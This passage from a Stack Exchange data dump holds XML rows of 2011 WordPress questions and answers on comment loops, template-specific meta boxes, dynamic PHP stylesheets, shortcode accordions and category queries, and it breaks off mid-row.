  <row Id="17364" PostTypeId="2" ParentId="17327" CreationDate="2011-05-16T10:33:17.460" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;global $wp_query, $post; &#xA;$comments_arr = $wp_query-&amp;gt;comments; &#xA;$comments_arr = sort( $comments_arr); &#xA;$comments_arr = array_pop( $comments_arr );&#xA;$comments_arr = usort($comment_arr, 'comment_comparator');&#xA;&#xA;$comment_count = get_comment_count($post-&amp;gt;ID);&#xA;&#xA; ?&amp;gt;&#xA;&amp;lt;h3 id=&quot;comments-title&quot;&amp;gt;&amp;lt;?php&#xA;    printf(&#xA;    _n( 'One Response to %2$s', '%1$s Responses to %2$s', get_comments_number(), 'YOUR_THEMES_TEXTDOMAIN' ),&#xA;    number_format_i18n( get_comments_number() ),&#xA;    '&amp;lt;em&amp;gt;' . get_the_title() . '&amp;lt;/em&amp;gt;' &#xA;);&#xA;?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;if ( have_comments() ) : &#xA;?&amp;gt;&amp;lt;ul class=&quot;commentlist&quot;&amp;gt;&amp;lt;?php&#xA;for ( $i = 0; $i &amp;lt; $comment_count; $i++ )&#xA;{&#xA;    // do stuff: &#xA;        // This shows you everything you got inside the comments array&#xA;        // Call it like this: echo $comments_arr[$i]['comment_author'];&#xA;        var_dump( $comments_arr[$i] ); &#xA;    // end do stuff&#xA;} // endforeach;&#xA;?&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;?php&#xA;&#xA;elseif ('open' == $post-&amp;gt;comment_status) :&#xA;    // If there are no comments, but status = open&#xA;    ?&amp;gt;&amp;lt;p class=&quot;nocomments&quot;&amp;gt;&amp;lt;?php _e( 'No Comments.', 'YOUR_THEMES_TEXTDOMAIN' ); ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;?php&#xA;endif; // If $i &amp;gt; 1&#xA;&#xA;else : // or, if comments are not allowed:&#xA;    if ( ! comments_open() ) : &#xA;    ?&amp;gt;&#xA;        &amp;lt;p class=&quot;nocomments&quot;&amp;gt;&amp;lt;?php _e( 'Comments are closed.', 'YOUR_THEMES_TEXTDOMAIN' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php &#xA;    endif; // end ! comments_open() &#xA;endif; // end have_comments() &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ad your current loop: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need for &lt;code&gt;$counter = 2;&lt;/code&gt; (called nowhere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already got your &lt;code&gt;$comments_arr&lt;/code&gt;, why not simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comments_arr = sort( $comments_arr); &#xA;$comments_arr = array_pop( $comments_arr ); &#xA;$comments_arr = usort( $comments_arr );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comments_arr = unset( $comments_arr[0] ); &#xA;$comments_arr = usort( $comments_arr );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-17T15:14:05.037" LastActivityDate="2011-06-17T15:14:05.037" CommentCount="11" />
  <row Id="17365" PostTypeId="2" ParentId="17355" CreationDate="2011-05-16T10:39:47.347" Score="1" ViewCount="" Body="&lt;p&gt;Here is how I'd do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/redirect/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/redirect/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install above plugin&lt;/li&gt;&#xA;&lt;li&gt;Create a page&lt;/li&gt;&#xA;&lt;li&gt;Add custom field: redirect of a value of &lt;a href=&quot;http://theprimarkonlineshop.com/category/blog&quot; rel=&quot;nofollow&quot;&gt;http://theprimarkonlineshop.com/category/blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set page you have created to the sites homepage.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-16T10:39:47.347" />
  <row Id="17366" PostTypeId="2" ParentId="17354" CreationDate="2011-05-16T10:52:21.877" Score="2" ViewCount="" Body="&lt;p&gt;What you will need to do is edit your theme's functions.php file to add a new image size. Scroll to the bottom and inside the php tags enter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'fancybox-full', 800, 9999 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will create an uncropped image 800px wide, whenever an image is uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will then need to edit the anchor for your images to link to this new image size. Try using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;wp_get_attachment_image_src()&lt;/a&gt; - use fancybox-full as the image size argument, not sure how yours currently gets the attachment ID, so if you need further assitance, let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find this doesn't currently work with the images you have already uploaded. Try using the &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="5412" LastActivityDate="2011-05-16T10:52:21.877" />
  <row Id="17367" PostTypeId="1" AcceptedAnswerId="17368" CreationDate="2011-05-16T10:55:13.917" Score="0" ViewCount="151" Body="&lt;p&gt;How do I hide the page editor (WYSIWYG editor) if the current page is set to a certain template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code already to add in custom meta boxes when certain templates are chosen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init','my_meta_init');&#xA;function my_meta_init()&#xA;{&#xA;    $post_id = $_GET['post'] ? $_GET['post'] : $_POST['post_ID'];&#xA;    $template_file = get_post_meta($post_id, '_wp_page_template', TRUE);&#xA;&#xA;    $savemeta = true;&#xA;&#xA;    if ($template_file == 'template-page-2quotes.php') {&#xA;        add_meta_box('main_quote_meta-meta', 'Top Quote', 'main_quote_meta', 'page', 'side', 'low');&#xA;        add_meta_box('sub_quote_meta-meta', 'Right Hand Side Quote', 'sub_quote_meta', 'page', 'normal', 'low');&#xA;    } elseif ($template_file == 'template-page-1quote.php') {&#xA;        add_meta_box('sub_quote_meta-meta', 'Right Hand Side Quote', 'sub_quote_meta', 'page', 'normal', 'low');&#xA;    } elseif ($template_file == 'template-page-factsnfigures.php') {&#xA;        add_meta_box('facts_n_figures-meta', 'Amount Raised', 'facts_n_figures', 'page', 'normal', 'low');&#xA;    } elseif ($template_file == 'template-page-fundraising.php') {&#xA;        add_meta_box('fundraising_ideas-meta', 'Fundraising Ideas', 'fundraising_ideas', 'page', 'side', 'low');&#xA;    } else {&#xA;        $savemeta = false;  &#xA;    }&#xA;    if($savemeta == true) {&#xA;        add_action('save_post','my_meta_save');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I would like for example is that the editor is removed if &lt;code&gt;$template_file == 'template-page-2quotes.php'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit (Working Code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init','my_meta_init');&#xA;function my_meta_init()&#xA;{&#xA;    $post_id = $_GET['post'] ? $_GET['post'] : $_POST['post_ID'];&#xA;    $template_file = get_post_meta($post_id, '_wp_page_template', TRUE);&#xA;&#xA;    $savemeta = true;&#xA;    $hideeditor = false;&#xA;&#xA;    if ($template_file == 'template-page-2quotes.php') {&#xA;        add_meta_box('main_quote_meta-meta', 'Top Quote', 'main_quote_meta', 'page', 'side', 'low');&#xA;        add_meta_box('sub_quote_meta-meta', 'Right Hand Side Quote', 'sub_quote_meta', 'page', 'normal', 'low');&#xA;    } elseif ($template_file == 'template-page-1quote.php') {&#xA;        add_meta_box('sub_quote_meta-meta', 'Right Hand Side Quote', 'sub_quote_meta', 'page', 'normal', 'low');&#xA;    } elseif ($template_file == 'template-page-factsnfigures.php') {&#xA;        add_meta_box('facts_n_figures-meta', 'Amount Raised', 'facts_n_figures', 'page', 'normal', 'low');&#xA;    } elseif ($template_file == 'template-page-fundraising.php') {&#xA;        add_meta_box('fundraising_ideas-meta', 'Fundraising Ideas', 'fundraising_ideas', 'page', 'side', 'low');&#xA;    } elseif($template_file == 'template-page-news.php') {&#xA;        $hideeditor = true;&#xA;        $savemeta = false;&#xA;    } else {&#xA;        $savemeta = false;  &#xA;    }&#xA;    if($savemeta == true) {&#xA;        add_action('save_post','my_meta_save');&#xA;    }&#xA;    if($hideeditor == true) {&#xA;        add_action('admin_print_styles', 'admin_no_editor_style');&#xA;    }&#xA;}&#xA;function admin_no_editor_style() {&#xA;    echo &quot;&amp;lt;style&amp;gt;#postdivrich{display:none;}&amp;lt;/style&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-16T11:34:05.117" LastActivityDate="2011-05-16T11:34:05.117" Title="Hide page visual editor if certain template is selected?" Tags="&lt;pages&gt;&lt;visual-editor&gt;&lt;templates&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17368" PostTypeId="2" ParentId="17367" CreationDate="2011-05-16T11:09:06.277" Score="1" ViewCount="" Body="&lt;p&gt;you can add a simple CSS rule with &lt;code&gt;display:none;&lt;/code&gt; in your metabox function code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($template_file == 'template-page-2quotes.php') {&#xA;   echo '&amp;lt;style&amp;gt;#postdivrich{display:none;}&amp;lt;/style&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-16T11:09:06.277" CommentCount="1" />
  <row Id="17369" PostTypeId="1" CreationDate="2011-05-16T11:13:01.967" Score="1" ViewCount="166" Body="&lt;p&gt;I'm using a custom post type to let contributors have a personal page on the site.&#xA;Any time a user registers to my site a script creates a custom type post that has the registering user as author.&#xA;To moderate users entries this post is pubblished by an editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like users (contributors) to be:&#xA;- uncapable to add other posts of this custom type&#xA;- capable to edit the already pubblished post they are author of&#xA;- their changements must be approved by an editor before being pubblished&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;User Role Editor&lt;/a&gt; to manage roles and capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to do that?&lt;/p&gt;&#xA;" OwnerUserId="4155" LastActivityDate="2011-05-18T17:53:32.873" Title="How to let contributors to create a new revision(draft) editing their published posts" Tags="&lt;users&gt;&lt;author&gt;&lt;roles&gt;&lt;capabilities&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17370" PostTypeId="2" ParentId="17362" CreationDate="2011-05-16T11:13:32.987" Score="3" ViewCount="" Body="&lt;p&gt;I use a script called &lt;a href=&quot;https://github.com/resmo/git-ftp&quot; rel=&quot;nofollow&quot;&gt;git-ftp&lt;/a&gt;, which simply uses FTP to push changes from a git repo onto a server.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-16T11:13:32.987" CommentCount="1" />
  <row Id="17371" PostTypeId="1" CreationDate="2011-05-16T11:23:45.563" Score="0" ViewCount="105" Body="&lt;p&gt;I want it to be fairly easy for the post author to setup an accordion, based on header tags. So for example this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Headline 1&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Content.. lorem ipsum&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;Headline 2&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Content.. lorem ipsum&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;Headline 3&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Content.. lorem ipsum&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would be converted to this (and so, accordion is activated)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;accordion&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;Headline 1&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;Content.. lorem ipsum&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;h3&amp;gt;Headline 2&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;Content.. lorem ipsum&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;h3&amp;gt;Headline 3&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;Content.. lorem ipsum&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been using a setup with shortcodes — but this gets too complicated for the post author — so a more streamlined solution would be grand. Any ideas how I would go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="3292" LastEditorDisplayName="" LastEditDate="2011-05-16T20:06:22.550" LastActivityDate="2011-07-15T23:18:49.133" Title="Automatic jQuery accordion from header tags" Tags="&lt;jquery&gt;&lt;jquery-ui&gt;" AnswerCount="1" />
  <row Id="17372" PostTypeId="1" CreationDate="2011-05-16T11:35:40.637" Score="0" ViewCount="67" Body="&lt;p&gt;I use get_page to show specific pages on my home page. How can make it to show &quot;read more&quot; link when  is being used?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$page_id = 22;&#xA;$page_data = get_page( $page_id );&#xA;$the_content = apply_filters('the_content',$page_data-&amp;gt;post_content);&#xA;echo $page_data;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4085" LastActivityDate="2011-05-16T11:48:38.957" Title="Specific page and read more link" Tags="&lt;get-page&gt;" AnswerCount="0" CommentCount="3" />
  <row Id="17374" PostTypeId="2" ParentId="17286" CreationDate="2011-05-16T11:59:35.063" Score="1" ViewCount="" Body="&lt;p&gt;Oh sure, so here is what i did:&#xA;I added this other function &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function catch_that_image() {&#xA;  global $post, $posts;&#xA;  $first_img = '';&#xA;  ob_start();&#xA;  ob_end_clean();&#xA;  $output = preg_match_all('/&amp;lt;img.+src=[\'&quot;]([^\'&quot;]+)[\'&quot;].*&amp;gt;/i', $post-&amp;gt;post_content, $matches);&#xA;  $first_img = $matches [1] [0];&#xA;&#xA;  if(empty($first_img)){ //Defines a default image&#xA;    $first_img = &quot;/images/default.jpg&quot;;&#xA;  }&#xA;  return $first_img;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I call it at the $link line, in the getimages function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link = catch_that_image();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well is messy so i will try your suggestions and see if any of those will work, thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="5386" LastActivityDate="2011-05-16T11:59:35.063" />
  <row Id="17375" PostTypeId="2" ParentId="14349" CreationDate="2011-05-16T12:01:49.633" Score="0" ViewCount="" Body="&lt;p&gt;In fact, any stylesheet accepts php code, and it's perfectly valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change your stylesheet file extension to .php, eg. style.css &gt; style.php.&lt;/li&gt;&#xA;&lt;li&gt;Paste the code below as the first line, so your new php-stylesheet will be treated as a stylesheet not php script:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;header(&quot;Content-type:&#xA;  text/css&quot;); &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Change stylesheet linking code in your blogs header section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/style.php&quot; /&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can do any PHP magic within your .css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In your case it's pointless&lt;/strong&gt;, all you need to do is to write custom class and maybe a custom loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll help, but we need some code first.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-05-16T12:01:49.633" CommentCount="1" />
  <row Id="17376" PostTypeId="2" ParentId="17335" CreationDate="2011-05-16T12:06:19.810" Score="2" ViewCount="" Body="&lt;p&gt;This is a known issue see &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14084&quot; rel=&quot;nofollow&quot;&gt;Custom taxonomy count includes draft &amp;amp; trashed posts&lt;/a&gt;. It might not be fixed in version 3.2 but most likely in the next version.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-05-16T12:06:19.810" />
  <row Id="17377" PostTypeId="1" AcceptedAnswerId="17378" CreationDate="2011-05-16T12:18:41.070" Score="0" ViewCount="91" Body="&lt;p&gt;I know there are other, maybe better ways to do what I want to achieve, but I have to use this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright, I have two stylesheet files:&#xA;style.css - normal stylesheet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;style-dynamic.php - dynamic stylesheet linked to the first one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using some PHP code in the second one, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#body {&#xA;    background-color: &amp;lt;?php echo get_option('theme_background');&amp;gt;;                                             &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the point is style.php file doesn't &quot;know&quot; WP functions, and the code above gives:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;b&gt;Fatal error&lt;/b&gt;:  Call to undefined&#xA;  function get_option() in&#xA;  &lt;b&gt;C:\xampp\htdocs\wordpress\wp-content\themes\mytheme\style-dynamic.php&lt;/b&gt;&#xA;  on line &lt;b&gt;12&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I guess I have to load wp_load.php (only?) and that's tricky, because I'm not sure how exactly? I was trying require once, but I'm not sure I'll be able to jump from theme directory right to the WP main dir where wp-load.php file is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( ABSPATH . 'wp-load.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs another error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use of undefined constant ABSPATH -&#xA;  assumed 'ABSPATH'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-05-16T12:25:19.660" LastActivityDate="2011-05-16T12:28:36.083" Title="Call to undefined function issue" Tags="&lt;php&gt;&lt;wp-admin&gt;&lt;theme-options&gt;&lt;wp-load.php&gt;" AnswerCount="1" />
  <row Id="17378" PostTypeId="2" ParentId="17377" CreationDate="2011-05-16T12:28:36.083" Score="1" ViewCount="" Body="&lt;p&gt;Christ, once again I was fighting with something for a few days straight and found a solution 20 minutes after asking on StackExchange. WHY?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('../../../wp-load.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-05-16T12:28:36.083" />
  <row Id="17379" PostTypeId="2" ParentId="17371" CreationDate="2011-05-16T12:37:23.837" Score="1" ViewCount="" Body="&lt;p&gt;You can use shortcode function to do this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function accordion_shortcode( $atts, $content = null ) {&#xA;   extract( shortcode_atts( array(&#xA;      'class' =&amp;gt; 'accordion',&#xA;      ), $atts ) );&#xA;&#xA;   return '&amp;lt;div class=&quot;' . esc_attr($class) . '&quot;&amp;gt;' . $content . '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode( 'accordion', 'accordion_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In editor you wrap your content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[accordion]&#xA;&amp;lt;h3&amp;gt;Headline 1&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Content.. lorem ipsum&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;Headline 2&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Content.. lorem ipsum&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;Headline 3&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Content.. lorem ipsum&amp;lt;/p&amp;gt;&#xA;[/accordion]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-05-16T12:37:23.837" />
  <row Id="17380" PostTypeId="1" AcceptedAnswerId="17393" CreationDate="2011-05-16T12:50:28.700" Score="1" ViewCount="248" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;advanced custom field plugin&lt;/a&gt; for wordpress and wondering if I'm able to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If checkbox ticked = web and it equals the page title echo this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what code to use for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: The closest I've got is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $fields = get_acf(); print_r ($fields-&amp;gt;categories); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that is printing out this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [0] =&amp;gt; option_1 [1] =&amp;gt; option_2 [2] =&amp;gt; option_9 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1. How can I print out the real names (without it saying array)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Also say if it = web and matches the page title then echo something?&lt;/p&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="5415" LastEditorDisplayName="" LastEditDate="2011-05-16T12:58:25.417" LastActivityDate="2011-05-16T14:13:28.163" Title="Displaying a checkbox array from advanced custom field" Tags="&lt;custom-field&gt;&lt;3.1&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17381" PostTypeId="2" ParentId="17339" CreationDate="2011-05-16T12:56:47.500" Score="0" ViewCount="" Body="&lt;p&gt;It's used by &lt;code&gt;sanitize_text_field&lt;/code&gt; function to Sanitize a string from user input or from the db.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-05-16T12:56:47.500" />
  <row Id="17383" PostTypeId="1" AcceptedAnswerId="17407" CreationDate="2011-05-16T13:05:58.283" Score="1" ViewCount="107" Body="&lt;p&gt;So here's the problem, I want to have a few different meta boxes on my sites, but I'd like to be able to store each of them in separate files and included them into functions, so I can just copy specific ones to new installs and included them on a case by case basis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can gather though, it seems like I need to put them all into one array?&lt;/p&gt;&#xA;" OwnerUserId="5302" LastActivityDate="2011-05-16T15:49:15.790" Title="Multiple Meta Boxes in separate files" Tags="&lt;metabox&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17384" PostTypeId="2" ParentId="17029" CreationDate="2011-05-16T13:09:08.560" Score="0" ViewCount="" Body="&lt;p&gt;So what I did was make a custom post type for guests profiles, and use &quot;posts 2 posts&quot; to connect them to specific episodes. The plugin has functions to both list the connected guests on episode pages, and list all episodes associated with that guest on their profile pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posts-to-posts/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5302" LastActivityDate="2011-05-16T13:09:08.560" />
  <row Id="17385" PostTypeId="1" AcceptedAnswerId="17388" CreationDate="2011-05-16T13:16:45.527" Score="1" ViewCount="137" Body="&lt;p&gt;I'd like to offer my custom post type as a Plugin, so that people can use it without touching their theme folder.  But custom post type templates -- such as single-movies.php -- reside in the theme folder. Is there a way to get WP to check for a single-movies.php in the plugin's folder? Hooking a function into the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Filter_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Filer Hierarchy&lt;/a&gt;? Or  get_template_directory(); ?&lt;/p&gt;&#xA;" OwnerUserId="5285" LastActivityDate="2011-05-16T13:41:53.150" Title="Custom Post Type Templates from Plugin Folder?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;themes&gt;&lt;directories&gt;" AnswerCount="1" />
  <row Id="17386" PostTypeId="1" AcceptedAnswerId="17392" CreationDate="2011-05-16T13:37:19.143" Score="0" ViewCount="102" Body="&lt;p&gt;I created a custom post type:products which also has custom fields: price &amp;amp; shipping.  Occasionally, if I leave the edit product window open or refresh it, I lose the values inside price and shipping.  Can someone please advise on this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_details'); &#xA;function save_details()&#xA;{ &#xA;    global $post;&#xA;    update_post_meta($post-&amp;gt;ID, &quot;price&quot;,        $_POST[&quot;price&quot;]        );&#xA;    update_post_meta($post-&amp;gt;ID, &quot;shipping&quot;,     $_POST[&quot;shipping&quot;]     );&#xA;    update_post_meta($post-&amp;gt;ID, &quot;long_title&quot;,   $_POST[&quot;long_title&quot;]   );&#xA;    update_post_meta($post-&amp;gt;ID, &quot;upload_image&quot;, $_POST[&quot;upload_image&quot;] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5416" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-16T14:07:23.143" LastActivityDate="2011-06-13T11:01:42.923" Title="Custom field values get deleted" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="17387" PostTypeId="1" AcceptedAnswerId="17390" CreationDate="2011-05-16T13:41:49.077" Score="0" ViewCount="65" Body="&lt;p&gt;I am trying to use ids to control the structure of the output of my categories.  I need to exclude a category that is part of the parent category that is being queried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $the_query = new WP_Query('cat=14$cat=-45&amp;amp;showposts=20');&#xA;        $permalink = get_permalink( $post_id );&#xA;        while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();?&amp;gt;    &#xA;            &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; class=&quot;postTitleLink&quot;&amp;gt;&#xA;            &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php wp_reset_query(); ?&amp;gt;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What would be the correct way to show everything in category id 14, except for category 45?  I want to treat 45 differently and show all of its sub categories in a different way.  To try and help describe what I want :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#12&#xA;- #14&#xA;- #14&#xA;- #14&#xA; -- #45&#xA;  --- #50&#xA;   ---- #60&#xA;  --- #51&#xA;- #14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of cat=- should I be using conditional statements instead .. !in_category ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="2661" LastEditorUserId="2661" LastEditorDisplayName="" 